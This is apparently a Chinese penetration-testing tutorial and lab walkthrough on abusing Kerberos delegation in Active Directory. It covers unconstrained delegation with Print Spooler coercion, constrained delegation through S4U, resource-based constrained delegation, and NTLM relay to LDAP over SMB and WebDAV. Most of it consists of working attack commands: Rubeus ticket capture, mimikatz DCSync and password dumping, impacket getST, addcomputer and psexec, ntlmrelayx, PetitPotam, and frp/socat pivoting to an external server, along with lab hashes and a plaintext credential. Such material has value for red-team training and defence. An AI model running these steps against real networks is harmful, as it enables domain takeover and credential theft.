约束委派与非约束委派
概述
非约束性委派 (Unconstrained Delegation):老板给了某位员工一把万能钥匙,可以打开公司的所有门。当用户/服务访问设置了非约束性委派的目标主机时, TGT
会被目标主机的LSASS
(系统安全服务) 进程缓存到内存中, 就相当于老板给员工钥匙的这个过程。
约束委派 (Constrained Delegation):老板给了某位员工一把钥匙,但是只能打开公司财务部的门
非约束性委派利用
有权修改计算机对象属性的人通过设置对象的userAccountControl
标志位中的TRUSTED_FOR_DELEGATION
位为true
,就可以启用非约束性委派
若通过漏洞/配置不当获取形如GenericWrite
写权限 (可以修改计算机对象的任何属性) , WriteProperty
(被授权对某个特定属性的写权限), 可以尝试利用PowerShell
命令设置非约束性委派, 配合打印机漏洞等实现横向移动
1 | Set-ADAccountControl -Identity "test-PC$" -TrustedForDelegation $true //Powershell设置非约束性委派 |
非约束性委派 + 打印机漏洞 Print Spooler
Print Spooler服务Windows中默认开启
可以进行利用让域管的机器账号强制与我们拿下的非约束性委派的主机强行建立连接, 利用Rubeus
工具监听LSASS
进程从而捕获域管机器账户的TGT
, 最后将票据注入内存, 实现提权, 结合mimikatz
导出域内哈希进行横向移动
用Rubeus
监听来自域控的票据
1 | Rubeus.exe monitor /interval:2 /filteruser:DC$ |
Print Spooler
利用工具 : https://github.com/leechristensen/SpoolSample
1 | SpoolSample.exe DC test-PC |
Rubeus
监听到DC$
的TGT
票据, 导入票据
1 | Rubeus.exe ptt /ticket:doIFGjCCBRagAwIBBaEDAgEWooIEIzCCBB9hggQbM...... |
将票据注入内存中, 使用mimikatz
导出域内用户哈希, PTH
进行域内横向
1 | mimikatz.exe "log" "lsadump::dcsync /all /csv" "exit" |
约束性委派利用
约束性委派中,kerberos
引入了S4U2Self
和S4U2Proxy
两种核心拓展机制。
S4U2Self
:
当某个服务(如Web服务器)收到用户请求时,它需要确认用户的身份和权限。此时,服务可以通过S4U2Self
向KDC
(密钥分发中心)申请一个针对自身的服务票据,这个票据是“模拟用户身份”生成的。
S4U2Proxy
:
当服务需要代表用户访问其他后端服务(如数据库、文件服务器)时,S4U2Proxy
允许服务使用用户的票据向KDC
申请目标服务的访问权限。
配置了约束性委派的账户的userAccountControl
属性会被设置为TRUSTED_TO_AUTH_FOR_DELEGATION
,账户的msDS-AllowedToDelegateTo
属性为允许委派的服务。
攻击步骤
(1) 攻击者拿到了配置了约束委派的服务账户/域内机器账户,并且已经利用mimikatz
等工具导出了账户哈希、票据等信息。
(2) 通过S4U2Self && S4U2Proxy
来获取获取ST
攻击者用服务账户/域内机器账户的权限,向KDC
发起S4U2Self
请求,模拟某个高权限用户(如域管)生成针对自身的服务票据,将S4U2Self
生成的票据转发给目标服务(如域控的CIFS
服务),可获取访问的ST
1 | 通俗解释: |
DC
域控给test-PC
主机设置了约束性委派,允许委派DC
的CIFS
服务
攻击者拿下了test-PC
这台机器,目标是利用约束委派横向拿下DC
域控
(1) 利用test-PC
机器用户票据 + kekeo
横向
先使用mimikatz
导出票据,拿到机器用户票据
1 | mimikatz.exe "privilege::debug" "sekurlsa::tickets /export" "exit" |
kekeo
申请ST
1 | kekeo.exe "tgs::s4u /tgt:[0;3e7]-2-0-60a10000-TEST-PC$@krbtgt-HACK-MY.COM.kirbi /user:Administrator@hack-my.com /service:cifs/DC.hack-my.com" "exit" |
利用mimikatz
导入ST
票据
1 | mimikatz.exe "kerberos::ptt TGS_Administrator@hack-my.com@HACK-MY.COM_cifs~DC.hack-my.com@HACK-MY.COM.kirbi" "exit" |
导入后可正常访问DC
的cifs
服务
(2) 利用test-PC
机器用户Hash
+ getST
+ psexec
拿下域控system
权限
先导出test-PC
机器用户NTLM Hash
1 | mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "log" "exit" |
1 | NTLM Hash : 4631044bac1ad6054011e1750eb0af84 |
getST
申请ST
1 | python getST.py -dc-ip 192.168.43.100 -spn CIFS/DC.hack-my.com -impersonate administrator hack-my.com/test-PC$ -hashes :4631044bac1ad6054011e1750eb0af84 |
导入票据 + psexec
利用,拿下域控system
权限
1 | set KRB5CCNAME=administrator@CIFS_DC.hack-my.com@HACK-MY.COM.ccache |
基于资源的约束委派[RBCD]
RBCD概述
基于资源的约束委派 (Resource-Based Constrained Delegation
)是Windows Server 2012
引入的权限委派机制,其核心思想是将委派控制权交给资源自身。通俗解释:仓库管理员自主决定谁可以来提货
传统委派:Service
A可以代理用户访问Service B
,需要域管将Service A
的msDS-AllowedToDelegateTo
属性指定为Service B
RBCD:Service B
自主决定”谁可以代理用户访问我“,比如指定Service A
可以代理用户访问我,只需要在Service B
上将msDS-AllowedToActOnBehalfOfOtherIndentity
属性指定为Service A
即可。
攻击利用概述
攻击者可以利用RBCD
来伪造身份票据来访问特定服务。攻击者创建一个机器账户 - HackPC$
,并将其SID
写入Service B
的msDS-AllowedToActOnBehalfOfOtherIndentity
中,然后伪造成为域管来访问Service B
利用条件
拥有修改msDS-AllowedToActOnBehalfOfOtherIndentity
的权限
(1) 将机器加入域的用户
(2) 拥有Account Operators
组权限的账户 (可管理除域控外的机器)
(3) 对目标主机具备GenericAll
、WriteProperty
等写权限的账户
(4) 该主机的机器账户
域用户本地提权
我们拿到了一个域内用户,但是发现该用户是普通用户,没有这台域内主机的administrator
权限,可以利用RBCD
进行本地提权。
思路:
1、利用可控域用户创建一个机器账户 (每个域用户默认可以创建10个机器账户)
2、修改目标主机的 msDS-AllowedToActOnBehalfOfOtherIndentity
属性,使其指向新创建机器账户的SID
3、利用该机器账户的凭证为”跳板”,请求以administrator身份访问目标主机的票据,配合psexec
实现本地提权。
首先使用Adfind.exe
查询域内机器的mS-DS-CreatorSID
,与当前用户的SID
进行比较
1 | AdFind.exe -b "DC=hack-my,DC=com" -f "objectClass=computer" ms-DS-CreatorSID |
可知TEST-PC
这台机器是通过我们拿到的这个域用户hack-my\test
加入域中的,那么当前域用户可以修改这台主机的msDS-AllowedToActOnBehalfOfOtherIndentity
属性。
使用当前域用户新建一个机器账户
1 | python addcomputer.py hack-my.com/test:"密码" -computer-name TEST$ -computer-pass 123456 -dc-host DC.hack-my.com -dc-ip 192.168.43.100 |
然后配置msDS-AllowedToActOnBehalfOfOtherIndentity
属性,让TEST$
机器账户获得了假扮任意用户访问TEST-PC$
的能力,[*] TEST$ can already impersonate users on TEST-PC$ via S4U2Proxy
1 | python rbcd.py hack-my.com/test:"密码" -dc-ip 192.168.43.100 -action write -delegate-to TEST-PC$ -delegate-from TEST$ |
利用S4U
协议伪造Administrator
的ST
1 | python getST.py -dc-ip 192.168.43.100 -spn cifs/TEST-PC.hack-my.com -impersonate Administrator hack-my.com/test$:123456 |
利用拿到的ST
配合psexec
提权至system
1 | export KRB5CCNAME=Administrator@cifs_TEST-PC.hack-my.com@HACK-MY.COM.ccache //linux/MacOS写法 |
域内服务账户提权
IIS
、MSSQL
、Network Service
等服务账户出网时使用的是本地的机器账户,访问域内资源时能够以机器账户的身份修改自身的委派属性,从而实现本地提权。
以设置了服务账户IIS
的WIN2008-WEB
为例,提权原理和上文的”域用户本地提权”差别不大
SharpAllowedToAct
工具需要.NET
环境,自行下载
1 | SharpAllowedToAct.exe -m test2 -p "123456" -t WIN2008-WEB -a dc.hack-my.com -d hack-my.com |
然后和上面一样的思路
1 | python getST.py -dc-ip 192.168.43.100 -spn cifs/WIN2008-WEB.hack-my.com -impersonate Administrator hack-my.com/test2$:123456 |
1 | set KRB5CCNAME=Administrator@cifs_TEST-PC.hack-my.com@HACK-MY.COM.ccache |
1 | python psexec.py -no-pass -k WIN2008-WEB.hack-my.com -target-ip 192.168.43.216 -dc-ip 192.168.43.100 |
NTLM Relay to ldap + RBCD
(1) SMB
默认情况下, LDAP
的签名策略为协商签名 (是否签名由客户端决定), 当使用 SMB
协议发起 LDAP
请求时, 就会要求LDAP
服务器对NTLM
认证请求强制签名, 所以一般来说无法通过SMB
协议进行 NTLM Relay to LDAP
但是 2019 年爆出了 CVE-2019-1040
漏洞, 它能够绕过 NTLM MIC
的防护机制, 修改NTLM
请求中的某些标志位, 使得客户端对于 SMB
发起的LDAP
请求不要求签名, 从而实现 NTLM Relay
结合强制认证 (例如 SpoolSample
, PetitPotam
) 配合RBCD
可以实现横向移动
攻击流程
先通过PetitPotam
,打印机漏洞触发DC
/目标主机的NTLM
认证请求,将认证流量中继到目标LDAP
服务器(通常就是域控)
攻击者利用中继的凭据,在DC
/目标主机上配置RBCD
策略,将攻击者添加的机器账户添加到目标主机的msDS-AllowedToActOnBehalfOfOtherIndentity
属性中,然后伪造用户访问提权即可拿下目标主机
复现环境
TEST-PC:Windows7
,已经拿下的域内主机,192.168.43.42
DC:Windows Server 2012
,域控,192.168.43.100
WIN2008-WEB:Windows Server 2008
,IIS服务器,192.168.43.216
Kali_linux:攻击机,192.168.43.78
目标:拿下TEST-PC
后,利用NTLM Relay to ldap + RBCD
横向拿下WIN2008-WEB
这台主机
首先添加机器账户test
1 | python addcomputer.py hack-my.com/test:"密码" -computer-name TEST$ -computer-pass 123456 -dc-host DC.hack-my.com -dc-ip 192.168.43.100 |
启动ntlmrelayx
等待目标主机连接
1 | python3 ntlmrelayx.py -t ldap://192.168.43.100 --remove-mic --delegate-access --escalate-user TEST$ |
利用PetitPotam
让目标机器发起对攻击机的SMB请求
1 | python PetitPotam.py -d hack-my.com -u test -p "密码" 192.168.43.78 192.168.43.216 |
伪造管理员访问目标主机,配合psexec
拿下WIN2008-WEB
的system
权限
1 | python getST.py -dc-ip 192.168.43.100 -spn cifs/WIN2008-WEB.hack-my.com -impersonate Administrator hack-my.com/test$:123456 |
1 | export KRB5CCNAME=Administrator@cifs_WIN2008-WEB.hack-my.com@HACK-MY.COM.ccache |
(2) WebDAV
首先先了解WebDAV
的概念,WebDAV
是一种基于HTTP
的通信协议
对于HTTP(WebDAV)
协议发起的 LDAP
请求是不要求强制签名的,因此可以绕过签名实现NTLM Relay
Windows
使用WebClient
服务实现WebDAV
,WebDAV
通过\\evilhost@80\webdav\kagty1.txt
这种 UNC 格式访问攻击者的 HTTP 服务器。
注意:
1、Windows Workstation
默认安装 WebClient
服务,但是需要手动启动,Windows Server
则默认未安装WebClient
2、WebClient
仅对本地内部网或收信任的站点列表中的目自动使用当前用户凭据进行NTLM
认证,所以在复现/攻击前,需要利用已经获取的域用户权限,在域内为攻击机添加一条dns
记录。
工具地址:https://github.com/dirkjanm/krbrelayx,使用方法参考文档
1 | python3 dnstool.py -u hack-my.com\win2008 -p "密码" -r evil.hack-my.com -d 192.168.43.78 --action add ldap://192.168.43.100 |
攻击流程
(1) 拿下一名域用户
(2) 探测开启WebClient
(3) 在域内为攻击机添加DNS
解析
(4) 强制WebClient
对攻击机指定端口进行身份验证
(5) RBCD
攻击
复现环境 (春秋云镜Spoofing)
攻击者公网服务器:Ubuntu
,101.42.13.105
入口机:Ubuntu
,39.99.154.66
| 172.22.11.76
**目标机器:**XIAORANG\XR-LCM3AE8B
,172.22.11.26
,开启WebClient
服务,不出网
**域控:**XIAORANG\XIAORANG-DC
,172.22.11.6
**已经拿下的域用户和域内机器:**Windows Server 2008
,yangmei : xrihGHgoNZQ
**目标:**利用拿下的域用户和WIN2008
,横向拿下172.22.11.26
这台机器
既然目标机器不出网,可以用frp+socat来实现。
将入口机172.22.11.76
作为”跳板机”,让目标机器将流量转发至172.22.11.76:80
,利用socat
将172.22.11.76:80
的流量转发至公网服务器101.42.13.105:7000
,公网服务器通过frp
内网穿透将流量转发至kali linux
的80
端口。
frps.toml
1 | bindPort = 6000 |
frpc.toml
1 | serverAddr = "101.42.13.105" |
跳板机上传socat
进行端口转发
1 | socat TCP-LISTEN:80,fork TCP:101.42.13.105:7000 |
攻击机ntlmrelyx
开启监听,设置通过NTLM
中继来配置RBCD
1 | proxychains4 python ntlmrelayx.py -t ldap://172.22.11.6 --escalate-user XR-DESKTOP\$ --delegate-access --no-dump |
通过利用PetitPotam
强制目标主机172.22.11.26
认证到172.22.11.76
(出网的ubuntu
服务器) -> 会被转发到攻击机80
端口
1 | proxychains4 python PetitPotam.py -u yangmei -p "xrihGHgoNZQ" -d xiaorang.lab ubuntu@80/webdav 172.22.11.26 |
成功配置RBCD
1 | proxychains4 python getST.py -dc-ip 172.22.11.6 -spn cifs/XR-LCM3AE8B.xiaorang.lab -impersonate administrator xiaorang.lab/XR-DESKTOP\$ -hashes :29a34bea4cdae24fdb6661b2071d9ffd |
或者可以利用拿到的域用户新建一个机器账户,然后用明文密码拿目标主机的白银票据
1 | proxychains4 python addcomputer.py xiaorang.lab/yangmei:"xrihGHgoNZQ" -computer-name TEST$ -computer-pass 123456 -dc-host XIAORANG-DC.xiaorang.lab -dc-ip 172.22.11.6 |
1 | python getST.py -dc-ip 172.22.11.6 -spn cifs/XR-LCM3AE8B.xiaorang.lab -impersonate administrator xiaorang.lab/XR-DESKTOP\$:123456 |
横向拿到目标主机system
权限
1 | export KRB5CCNAME=administrator@cifs_XR-LCM3AE8B.xiaorang.lab@XIAORANG.LAB.ccache |